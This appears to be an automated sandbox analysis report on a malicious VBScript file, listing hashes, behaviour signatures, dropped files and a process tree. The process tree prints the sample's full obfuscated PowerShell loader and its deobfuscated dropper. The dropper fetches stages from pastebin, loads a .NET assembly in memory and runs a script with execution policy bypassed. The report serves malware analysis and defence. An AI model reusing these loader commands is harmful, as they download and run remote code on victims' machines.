Analysis

  • max time kernel
    118s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    03-12-2024 14:47

General

  • Target

    31agosto.vbs

  • Size

    2.6MB

  • MD5

    d6ab1dd82038784498347b6860ee10d0

  • SHA1

    df0a8faf0ed16fceaf258e207f151a9d7a1fa492

  • SHA256

    0059b2ceb431138b11a1aff3e8d31df978bfa46fbf47b05659a8b4b1191a2ea2

  • SHA512

    66668278b0b68d0de00fcda2562565dae43c085fcba0043a63196fc2727c9e1dbad608a75883146644983ba9c5af0dc93d2acf9b9d52438155b533e071166a32

  • SSDEEP

    384:iD7D7D7D7D7D7D7D7D7D7D7D7D7D7D7D7D7D7D7D7D7D7D7D7D7D7D7D7D7D7D7F:1GCOuuf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://pastebin.com/raw/Adv9gBHa

exe.dropper

https://pastebin.com/raw/Adv9gBHa

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\31agosto.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1980
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT★Hk★cwB0★GU★bQ★u★E4★ZQB0★C4★UwBl★HI★dgBp★GM★ZQBQ★G8★aQBu★HQ★TQBh★G4★YQBn★GU★cgBd★Do★OgBT★GU★YwB1★HI★aQB0★Hk★U★By★G8★d★Bv★GM★bwBs★C★★PQ★g★Fs★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★FM★ZQBj★HU★cgBp★HQ★eQBQ★HI★bwB0★G8★YwBv★Gw★V★B5★H★★ZQBd★Do★OgBU★Gw★cw★x★DI★Ow★k★Ho★RgBL★GE★QQ★g★D0★I★★n★Gg★d★B0★H★★cw★6★C8★LwBw★GE★cwB0★GU★YgBp★G4★LgBj★G8★bQ★v★HI★YQB3★C8★QQBk★HY★OQBn★EI★S★Bh★Cc★I★★7★CQ★SQBl★H★★RwBR★C★★PQ★g★Cg★I★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★x★C4★d★B4★HQ★Jw★p★Ds★J★B3★GU★YgBD★Gw★aQBl★G4★d★★g★D0★I★BO★GU★dw★t★E8★YgBq★GU★YwB0★C★★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★Fc★ZQBi★EM★b★Bp★GU★bgB0★C★★Ow★k★FI★VgBV★Fg★dg★g★D0★I★★k★Hc★ZQBi★EM★b★Bp★GU★bgB0★C4★R★Bv★Hc★bgBs★G8★YQBk★FM★d★By★Gk★bgBn★Cg★I★★k★Ho★RgBL★GE★QQ★g★Ck★I★★7★CQ★UgBW★FU★W★B2★C★★f★★g★E8★dQB0★C0★RgBp★Gw★ZQ★g★C0★RgBp★Gw★ZQBQ★GE★d★Bo★C★★J★BJ★GU★c★BH★FE★I★★t★EU★bgBj★G8★Z★Bp★G4★Zw★g★Cc★VQBU★EY★O★★n★C★★LQBm★G8★cgBj★GU★I★★7★CQ★UwBU★GY★RwBs★C★★PQ★g★Cg★I★Bb★FM★eQBz★HQ★ZQBt★C4★SQBP★C4★U★Bh★HQ★a★Bd★Do★OgBH★GU★d★BU★GU★bQBw★F★★YQB0★Gg★K★★p★C★★Kw★g★Cc★Z★Bs★Gw★M★★y★C4★d★B4★HQ★Jw★p★C★★Ow★k★F★★a★By★Gw★Tg★g★D0★I★BO★GU★dw★t★E8★YgBq★GU★YwB0★C★★UwB5★HM★d★Bl★G0★LgBO★GU★d★★u★Fc★ZQBi★EM★b★Bp★GU★bgB0★C★★Ow★k★F★★a★By★Gw★Tg★u★EU★bgBj★G8★Z★Bp★G4★Zw★g★D0★I★Bb★FM★eQBz★HQ★ZQBt★C4★V★Bl★Hg★d★★u★EU★bgBj★G8★Z★Bp★G4★ZwBd★Do★OgBV★FQ★Rg★4★C★★Ow★k★EQ★S★B6★FU★QQ★g★C★★PQ★g★Cg★I★BH★GU★d★★t★EM★bwBu★HQ★ZQBu★HQ★I★★t★F★★YQB0★Gg★I★★k★Ek★ZQBw★Ec★UQ★g★Ck★I★★7★CQ★dQBU★Gw★S★B6★C★★PQ★g★CQ★U★Bo★HI★b★BO★C4★R★Bv★Hc★bgBs★G8★YQBk★FM★d★By★Gk★bgBn★Cg★I★★k★EQ★S★B6★FU★QQ★g★Ck★I★★7★CQ★dQBU★Gw★S★B6★C★★f★★g★E8★dQB0★C0★RgBp★Gw★ZQ★g★C0★RgBp★Gw★ZQBQ★GE★d★Bo★C★★J★BT★FQ★ZgBH★Gw★I★★t★GY★bwBy★GM★ZQ★g★Ds★J★BN★E8★R★BS★Gc★I★★9★C★★I★★n★CQ★cgB5★GE★ZQBH★C★★PQ★g★Cg★RwBl★HQ★LQBD★G8★bgB0★GU★bgB0★C★★LQBQ★GE★d★Bo★C★★Jw★n★Cc★I★★r★C★★J★BT★FQ★ZgBH★Gw★I★★r★C★★Jw★n★Cc★I★★t★EU★bgBj★G8★Z★Bp★G4★Zw★g★FU★V★BG★Dg★KQ★7★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBb★EI★eQB0★GU★WwBd★F0★I★★k★EY★eQBm★GQ★eg★g★D0★I★Bb★HM★eQBz★HQ★ZQBt★C4★QwBv★G4★dgBl★HI★d★Bd★Do★OgBG★HI★bwBt★EI★YQBz★GU★Ng★0★FM★d★By★Gk★bgBn★Cg★I★★k★HI★eQBh★GU★Rw★u★HI★ZQBw★Gw★YQBj★GU★K★★n★Cc★J★★k★CQ★J★★n★Cc★L★★n★Cc★QQ★n★Cc★KQ★g★Ck★I★★7★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBb★FM★eQBz★HQ★ZQBt★C4★QQBw★H★★R★Bv★G0★YQBp★G4★XQ★6★Cc★I★★r★C★★Jw★6★EM★dQBy★HI★ZQBu★HQ★R★Bv★G0★YQBp★G4★LgBM★G8★YQBk★Cg★I★★k★EY★eQBm★GQ★eg★g★Ck★Lg★n★C★★Ow★k★E0★TwBE★FI★Zw★g★Cs★PQ★g★Cc★RwBl★HQ★V★B5★H★★ZQ★o★C★★Jw★n★FQ★ZQBo★HU★b★Bj★Gg★ZQBz★Fg★e★BY★Hg★e★★u★EM★b★Bh★HM★cw★x★Cc★Jw★g★Ck★LgBH★GU★d★BN★Cc★I★★7★CQ★TQBP★EQ★UgBn★C★★Kw★9★C★★JwBl★HQ★a★Bv★GQ★K★★g★Cc★JwBN★HM★cQBC★Ek★YgBZ★Cc★Jw★g★Ck★LgBJ★G4★dgBv★Gs★ZQ★o★C★★J★Bu★HU★b★Bs★C★★L★★g★Fs★bwBi★Go★ZQBj★HQ★WwBd★F0★I★★o★C★★Jw★n★HQ★e★B0★C4★bwBj★G0★ZQBy★C8★cwBk★GE★bwBs★G4★dwBv★GQ★Lw★y★DE★ZQBw★GU★cgBk★GE★bwBs★G4★dwBv★GQ★LwBl★H★★ZQBy★GQ★YQBv★Gw★bgB3★G8★Z★★v★Gc★cgBv★C4★d★Bl★Gs★YwB1★GI★d★Bp★GI★Lw★v★Do★cwBw★HQ★d★Bo★Cc★Jw★g★Cw★I★★n★Cc★JQBK★Gs★UQBh★HM★R★Bm★Gc★cgBU★Gc★JQ★n★Cc★I★★s★C★★Jw★n★F8★XwBf★F8★XwBf★F8★XwBf★F8★cwBB★Fc★RQBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★F8★XwBf★C0★LQ★t★C0★LQ★t★C0★Jw★n★Cw★I★★n★Cc★M★★n★Cc★L★★g★Cc★Jw★x★Cc★Jw★s★C★★Jw★n★FI★bwBk★GE★Jw★n★C★★I★★p★C★★KQ★g★Ds★Jw★g★Ds★J★BW★EI★VwBX★Ho★I★★9★C★★K★★g★Fs★UwB5★HM★d★Bl★G0★LgBJ★E8★LgBQ★GE★d★Bo★F0★Og★6★Ec★ZQB0★FQ★ZQBt★H★★U★Bh★HQ★a★★o★Ck★I★★r★C★★JwBk★Gw★b★★w★DM★LgBw★HM★MQ★n★C★★KQ★g★Ds★J★BN★E8★R★BS★Gc★I★B8★C★★TwB1★HQ★LQBG★Gk★b★Bl★C★★LQBG★Gk★b★Bl★F★★YQB0★Gg★I★★k★FY★QgBX★Fc★eg★g★C★★LQBm★G8★cgBj★GU★I★★7★H★★bwB3★GU★cgBz★Gg★ZQBs★Gw★I★★t★EU★e★Bl★GM★dQB0★Gk★bwBu★F★★bwBs★Gk★YwB5★C★★QgB5★H★★YQBz★HM★I★★t★EY★aQBs★GU★I★★k★FY★QgBX★Fc★eg★g★Ds★';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('★','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\31agosto.vbs');powershell $Yolopolhggobek;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1932
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/Adv9gBHa' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''TehulchesXxXxx.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''txt.ocmer/sdaolnwod/21eperdaolnwod/eperdaolnwod/gro.tekcubtib//:sptth'' , ''C:\Users\Admin\AppData\Local\Temp\31agosto.vbs'' , ''__________sAWE__________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2948
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3060

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\dll02.txt

    Filesize

    2B

    MD5

    f3b25701fe362ec84616a93a45ce9998

    SHA1

    d62636d8caec13f04e28442a0a6fa1afeb024bbb

    SHA256

    b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

    SHA512

    98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

  • C:\Users\Admin\AppData\Local\Temp\dll03.ps1

    Filesize

    1KB

    MD5

    cda18071194f9e6f54adb8defe7b1541

    SHA1

    0388eb4e86f42b4ecf8f045d1acfd78b56bf2e72

    SHA256

    c96b40ef0c720caaa51daefc28bd1b65ba08d91a01eb76594c33267f2c4a0cf0

    SHA512

    70ebbcd3c548611659aa07896b83b401e0da9f711d77f5919fb6852efc555c51520db81b219974273f2796da3f8f794ddf2a50a72d465e5bc584667570eb69a5

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    f432ca51cca8588bedf2c23ff4749f20

    SHA1

    342be4bf89c5df09bb6a70b3acb55c0737145001

    SHA256

    6bbfd9bec08d203daab8f5898bf27f05dc091408376b6facec2377cc87d131db

    SHA512

    b6952f4f5334aaf47ccdff0b7ada53f835d8adf27c69da1eef659db777b87c64bed9315adf898ba301f3f834014666eabb5f53080dcc636c759f9d7a7e3c6408

  • memory/1932-4-0x000007FEF5F8E000-0x000007FEF5F8F000-memory.dmp

    Filesize

    4KB

  • memory/1932-5-0x000000001B660000-0x000000001B942000-memory.dmp

    Filesize

    2.9MB

  • memory/1932-7-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

    Filesize

    9.6MB

  • memory/1932-6-0x0000000002770000-0x0000000002778000-memory.dmp

    Filesize

    32KB

  • memory/1932-8-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

    Filesize

    9.6MB

  • memory/1932-11-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

    Filesize

    9.6MB

  • memory/1932-10-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

    Filesize

    9.6MB

  • memory/1932-9-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

    Filesize

    9.6MB

  • memory/1932-28-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

    Filesize

    9.6MB